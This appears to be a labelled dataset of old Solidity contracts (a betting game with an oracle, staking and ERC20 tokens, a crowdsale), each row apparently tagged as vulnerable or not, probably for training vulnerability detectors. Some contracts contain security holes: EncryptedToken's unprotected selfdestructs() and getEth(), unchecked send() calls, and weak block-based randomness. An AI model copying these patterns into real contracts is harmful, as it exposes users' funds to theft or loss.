bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract UBets is usingOraclize {
address public owner;
struct Game {
uint bet;
uint max_players;
bool finish;
address[] players;
uint[] numbers;
uint[] uniq_numbers;
}
uint public min_bet = 0.1 ether;
uint constant public min_players = 2;
uint public max_players = 10;
uint constant public min_number = 0;
uint constant public max_number = 9;
uint public oraclize_gas_limit = 300000;
uint public commision = 10;
uint public referer_commision = 1;
Game[] public games;
mapping(bytes32 => uint) public await_finish;
mapping(uint => uint) public await_finish_block;
mapping(address => address) public referers;
event NewGame(uint indexed game_id, address indexed author, uint bet, uint max_players);
event Bet(uint indexed game_id, address indexed addr, uint index, uint number);
event Play(uint indexed game_id, bytes32 indexed id);
event Winner(uint indexed game_id, address indexed winner, uint index, uint win);
event RefererPayout(uint indexed game_id, address indexed winner, address indexed referer, uint payout);
event GameOver(uint indexed game_id, uint[] numbers);
event Refund(uint indexed game_id, address indexed addr, uint bet);
event RefundGame(uint indexed game_id);
modifier onlyOwner() {
require(msg.sender == owner, "Access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function() payable external {
revert();
}
function donate() payable external {
}
function inArray(uint[] memory arr, uint number) private pure returns(bool) {
for(uint i = 0; i < arr.length; i++) {
if(arr[i] == number) return true;
}
return false;
}
function __callback(bytes32 id, string res, bytes memory proof) public {
require(msg.sender == oraclize_cbAddress(), "Permission denied");
require(oraclize_randomDS_proofVerify__returnCode(id, res, proof) == 0, "No proof random number");
require(await_finish_block[await_finish[id]] < block.number, "No proof block");
Game storage game = games[await_finish[id]];
require(game.bet > 0, "Game not found");
require(!game.finish, "Game over");
uint seed = uint(keccak256(abi.encodePacked(res)));
uint[] memory numbers = new uint[](game.uniq_numbers.length > 1 ? game.uniq_numbers.length - 1 : 1);
for(uint i = 0; i < numbers.length; i++) {
numbers[i] = game.uniq_numbers[seed % game.uniq_numbers.length];
seed = seed / game.uniq_numbers.length;
}
_finishGame(await_finish[id], numbers);
delete await_finish_block[await_finish[id]];
delete await_finish[id];
}
function _joinGame(uint game_id, address player, uint bet, uint number, address referer) private {
require(games[game_id].bet > 0, "Game not found");
Game storage game = games[game_id];
require(!game.finish, "Game over");
require(bet == game.bet, "Insufficient funds");
require(game.max_players > game.players.length, "Bets are no longer accepted");
require(number >= min_number && number <= max_number, "Number does not match the interval");
require(!(game.max_players == game.players.length - 1 && game.uniq_numbers.length < 2 && inArray(game.uniq_numbers, number)), "Number already exists");
for(uint i = 0; i < game.numbers.length; i++) {
if(game.numbers[i] == number && game.players[i] == player) revert("Number already exists");
}
game.players.push(player);
game.numbers.push(number);
if(!inArray(game.uniq_numbers, number)) {
game.uniq_numbers.push(number);
}
if(referer != address(0) && referers[player] == address(0)) {
referers[player] = referer;
}
emit Bet(game_id, player, game.players.length - 1, number);
if(game.max_players == game.players.length) {
_playGame(game_id);
}
}
function _playGame(uint game_id) private {
require(games[game_id].bet > 0, "Game not found");
require(!games[game_id].finish, "Game over");
require(games[game_id].max_players == games[game_id].players.length, "The game has free slots");
require(oraclize_getPrice("random") <= address(this).balance, "Insufficient funds");
bytes32 id = oraclize_newRandomDSQuery(0, 32, oraclize_gas_limit);
await_finish[id] = game_id;
await_finish_block[game_id] = block.number;
emit Play(game_id, id);
}
function _finishGame(uint game_id, uint[] memory numbers) private {
require(games[game_id].bet > 0, "Game not found");
Game storage game = games[game_id];
require(!game.finish, "Game over");
require(game.max_players == game.players.length, "The game has free slots");
require(numbers.length == (game.uniq_numbers.length > 1 ? game.uniq_numbers.length - 1 : 1), "Incorect winning numbers");
uint bank = game.bet * game.max_players;
uint bank_use = oraclize_getPrice("random");
uint num_payout = (bank * (100 - commision) / 100) / numbers.length;
for(uint n = 0; n < numbers.length; n++) {
uint num_w = 0;
for(uint j = 0; j < game.numbers.length; j++) {
if(numbers[n] == game.numbers[j]) {
num_w++;
}
}
uint payout = num_payout / num_w;
for(uint p = 0; p < game.players.length; p++) {
if(numbers[n] == game.numbers[p]) {
if(game.players[p].send(payout)) {
bank_use += payout;
}
emit Winner(game_id, game.players[p], p, payout);
if(referers[game.players[p]] != address(0) && referer_commision > 0) {
uint referer_payout = payout * referer_commision / 100;
if(referers[game.players[p]].send(referer_payout)) {
bank_use += referer_payout;
}
emit RefererPayout(game_id, game.players[p], referers[game.players[p]], referer_payout);
}
}
}
}
if(bank > bank_use) {
owner.send(bank - bank_use);
}
game.finish = true;
emit GameOver(game_id, numbers);
}
function newGame(uint players, uint number, address referer) payable external {
require(msg.value >= min_bet, "Min bet of 0.1 ether");
require(players >= min_players && players <= max_players, "Players does not match the interval");
require(number >= min_number && number <= max_number, "Number does not match the interval");
address[] memory players_arr;
uint[] memory numbers_arr;
uint[] memory uniq_numbers;
games.push(Game({
bet: msg.value,
max_players: players,
finish: false,
players: players_arr,
numbers: numbers_arr,
uniq_numbers: uniq_numbers
}));
emit NewGame(games.length - 1, msg.sender, msg.value, players);
_joinGame(games.length - 1, msg.sender, msg.value, number, referer);
}
function joinGame(uint game_id, uint number, address referer) payable external {
_joinGame(game_id, msg.sender, msg.value, number, referer);
}
function refundGame(uint game_id) onlyOwner external {
require(games[game_id].bet > 0, "Game not found");
require(await_finish_block[game_id] == 0 || await_finish_block[game_id] < block.number - 1000, "Game not found");
Game storage game = games[game_id];
require(!game.finish, "Game over");
game.finish = true;
for(uint i = 0; i < game.players.length; i++) {
game.players[i].send(game.bet);
emit Refund(game_id, game.players[i], game.bet);
}
emit RefundGame(game_id);
}
function setOraclizeGasLimit(uint value) onlyOwner external {
require(value >= 21000 && value <= 5000000, "Value does not match the interval");
oraclize_gas_limit = value;
}
function setOraclizeGasPrice(uint value) onlyOwner external {
require(value >= 1000000000 && value <= 100000000000, "Value does not match the interval");
oraclize_setCustomGasPrice(value);
}
function setOwner(address value) onlyOwner external {
require(value != address(0), "Zero address");
owner = value;
}
} | 0 | 976 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract VeloxToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "Velox";
string public constant symbol = "VLX";
uint8 public constant decimals = 2;
uint256 public constant STAKE_MIN_AGE = 64 seconds * 20;
uint256 public constant STAKE_APR = 13;
uint256 public constant MAX_TOTAL_SUPPLY = 100 * (10 ** (6 + uint256(decimals)));
bool public balancesInitialized = false;
struct transferIn {
uint64 amount;
uint64 time;
}
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => transferIn[]) transferIns;
uint256 private totalSupply_;
event Mint(address indexed to, uint256 amount);
modifier canMint() {
require(totalSupply_ < MAX_TOTAL_SUPPLY);
_;
}
constructor() public {
totalSupply_ = 0;
}
function mint() public canMint returns (bool) {
if (balances[msg.sender] <= 0) return false;
if (transferIns[msg.sender].length <= 0) return false;
uint reward = _getStakingReward(msg.sender);
if (reward <= 0) return false;
_mint(msg.sender, reward);
emit Mint(msg.sender, reward);
return true;
}
function getCoinAge() external view returns (uint256) {
return _getCoinAge(msg.sender, block.timestamp);
}
function _getStakingReward(address _address) internal view returns (uint256) {
uint256 coinAge = _getCoinAge(_address, block.timestamp);
if (coinAge <= 0) return 0;
return (coinAge * STAKE_APR).div(365 * 100);
}
function _getCoinAge(address _address, uint256 _now) internal view returns (uint256 _coinAge) {
if (transferIns[_address].length <= 0) return 0;
for (uint256 i = 0; i < transferIns[_address].length; i++) {
if (_now < uint256(transferIns[_address][i].time).add(STAKE_MIN_AGE)) continue;
uint256 coinSeconds = _now.sub(uint256(transferIns[_address][i].time));
_coinAge = _coinAge.add(uint256(transferIns[_address][i].amount).mul(coinSeconds).div(1 days));
}
}
function initBalances(address[] _accounts, uint64[] _amounts) external onlyOwner {
require(!balancesInitialized);
require(_accounts.length > 0 && _accounts.length == _amounts.length);
uint256 total = 0;
for (uint256 i = 0; i < _amounts.length; i++) total = total.add(uint256(_amounts[i]));
require(total <= MAX_TOTAL_SUPPLY);
for (uint256 j = 0; j < _accounts.length; j++) _mint(_accounts[j], uint256(_amounts[j]));
}
function completeInitialization() external onlyOwner {
require(!balancesInitialized);
balancesInitialized = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (msg.sender == _to) return mint();
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
if (transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 time = uint64(block.timestamp);
transferIns[msg.sender].push(transferIn(uint64(balances[msg.sender]), time));
transferIns[_to].push(transferIn(uint64(_value), time));
return true;
}
function batchTransfer(address[] _to, uint256[] _values) public returns (bool) {
require(_to.length == _values.length);
for (uint256 i = 0; i < _to.length; i++) require(transfer(_to[i], _values[i]));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
if (transferIns[_from].length > 0) delete transferIns[_from];
uint64 time = uint64(block.timestamp);
transferIns[_from].push(transferIn(uint64(balances[_from]), time));
transferIns[_to].push(transferIn(uint64(_value), time));
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
if (transferIns[_account].length > 0) delete transferIns[_account];
transferIns[_account].push(transferIn(uint64(balances[_account]), uint64(block.timestamp)));
emit Transfer(address(0), _account, _amount);
}
} | 1 | 4,311 |
pragma solidity ^0.4.15;
contract IToken {
function issue(address _recipient, uint256 _value) returns (bool);
function totalSupply() constant returns (uint256);
function unlock() returns (bool);
}
contract CoinoorCrowdsale {
address public beneficiary;
address public creator;
address public marketing;
address public bounty;
address public confirmedBy;
uint256 public maxSupply = 65000000 * 10**8;
uint256 public minAcceptedAmount = 40 finney;
uint256 public ratePreICO = 450;
uint256 public rateWaiting = 0;
uint256 public rateAngelDay = 420;
uint256 public rateFirstWeek = 390;
uint256 public rateSecondWeek = 375;
uint256 public rateThirdWeek = 360;
uint256 public rateLastWeek = 330;
uint256 public ratePreICOEnd = 10 days;
uint256 public rateWaitingEnd = 20 days;
uint256 public rateAngelDayEnd = 21 days;
uint256 public rateFirstWeekEnd = 28 days;
uint256 public rateSecondWeekEnd = 35 days;
uint256 public rateThirdWeekEnd = 42 days;
uint256 public rateLastWeekEnd = 49 days;
enum Stages {
Deploying,
InProgress,
Ended
}
Stages public stage = Stages.Deploying;
uint256 public start;
uint256 public end;
uint256 public raised;
IToken public token;
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier onlyBeneficiary() {
require(beneficiary == msg.sender);
_;
}
function CoinoorCrowdsale(address _tokenAddress, address _beneficiary, address _creator, address _marketing, address _bounty, uint256 _start) {
token = IToken(_tokenAddress);
beneficiary = _beneficiary;
creator = _creator;
marketing = _marketing;
bounty = _bounty;
start = _start;
end = start + rateLastWeekEnd;
}
function init() atStage(Stages.Deploying) {
stage = Stages.InProgress;
if (!token.issue(beneficiary, 4900000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(creator, 2500000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(marketing, 2500000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(bounty, 100000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
}
function confirmBeneficiary() onlyBeneficiary {
confirmedBy = msg.sender;
}
function toTokens(uint256 _wei) returns (uint256 amount) {
uint256 rate = 0;
if (stage != Stages.Ended && now >= start && now <= end) {
if (now <= start + ratePreICOEnd) {
rate = ratePreICO;
}
else if (now <= start + rateWaitingEnd) {
rate = rateWaiting;
}
else if (now <= start + rateAngelDayEnd) {
rate = rateAngelDay;
}
else if (now <= start + rateFirstWeekEnd) {
rate = rateFirstWeek;
}
else if (now <= start + rateSecondWeekEnd) {
rate = rateSecondWeek;
}
else if (now <= start + rateThirdWeekEnd) {
rate = rateThirdWeek;
}
else if (now <= start + rateLastWeekEnd) {
rate = rateLastWeek;
}
}
return _wei * rate * 10**8 / 1 ether;
}
function endCrowdsale() atStage(Stages.InProgress) {
require(now > end);
stage = Stages.Ended;
if (!token.unlock()) {
stage = Stages.InProgress;
}
}
function withdraw() onlyBeneficiary atStage(Stages.Ended) {
beneficiary.transfer(this.balance);
}
function () payable atStage(Stages.InProgress) {
require(now >= start);
require(now <= end);
require(msg.value >= minAcceptedAmount);
address sender = msg.sender;
uint256 received = msg.value;
uint256 valueInTokens = toTokens(received);
require(valueInTokens > 0);
raised += received;
if (token.totalSupply() + valueInTokens >= maxSupply) {
stage = Stages.Ended;
}
if (!token.issue(sender, valueInTokens)) {
revert();
}
if (!beneficiary.send(received)) {
revert();
}
}
} | 1 | 4,361 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 500000000;
uint256 public buyPrice = 2000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'TMET', '18') payable public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() payable public {
selfdestruct(owner);
}
function getEth(uint num) payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 0 | 1,928 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
